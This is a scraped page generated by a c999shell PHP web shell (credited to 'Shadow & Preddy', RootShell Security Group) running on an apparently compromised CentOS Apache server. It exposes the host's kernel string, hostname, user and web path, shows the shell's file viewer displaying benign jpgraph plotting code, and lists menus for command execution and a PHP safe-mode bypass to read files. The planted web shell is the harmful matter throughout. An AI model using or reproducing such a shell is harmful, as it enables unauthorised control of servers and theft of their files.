Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/src/ drwxr-xr-x |
Viewing file: Select action/file-type: iSize = $aSize; $this->iArrowSize = $aArrowSize; } function SetColor($aColor) { $this->iColor = $aColor; } function Stroke($aImg,$x,$y,$a) { // First rotate the center coordinates list($x,$y) = $aImg->Rotate($x,$y); $old_origin = $aImg->SetCenter($x,$y); $old_a = $aImg->a; $aImg->SetAngle(-$a+$old_a); $dx = round($this->iSize/2); $c = array($x-$dx,$y,$x+$dx,$y); $x += $dx; list($dx,$dy) = $this->isizespec[$this->iArrowSize]; $ca = array($x,$y,$x-$dx,$y-$dy,$x-$dx,$y+$dy,$x,$y); $aImg->SetColor($this->iColor); $aImg->Polygon($c); $aImg->FilledPolygon($ca); $aImg->SetCenter($old_origin[0],$old_origin[1]); $aImg->SetAngle($old_a); } } //=================================================== // CLASS FieldPlot // Description: Render a field plot //=================================================== class FieldPlot extends Plot { var $iAngles; var $iCallback=''; function FieldPlot($datay,$datax,$angles) { if( (count($datax) != count($datay)) ) JpGraphError::Raise("Fieldplots must have equal number of X and Y points."); if( (count($datax) != count($angles)) ) JpGraphError::Raise("Fieldplots must have an angle specified for each X and Y points."); $this->iAngles = $angles; $this->Plot($datay,$datax); $this->value->SetAlign('center','center'); $this->value->SetMargin(15); $this->arrow = new FieldArrow(); } function SetCallback($aFunc) { $this->iCallback = $aFunc; } function Stroke(&$img,&$xscale,&$yscale) { // Remeber base color and size $bc = $this->arrow->iColor; $bs = $this->arrow->iSize; $bas = $this->arrow->iArrowSize; for( $i=0; $i<$this->numpoints; ++$i ) { // Skip null values if( $this->coords[0][$i]==="" ) continue; $f = $this->iCallback; if( $f != "" ) { list($cc,$cs,$cas) = call_user_func($f,$this->coords[1][$i],$this->coords[0][$i],$this->iAngles[$i]); // Fall back on global data if the callback isn't set if( $cc == "" ) $cc = $bc; if( $cs == "" ) $cs = $bs; if( $cas == "" ) $cas = $bas; //echo "f=$f, cc=$cc, cs=$cs, cas=$cas |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0052 ]-- |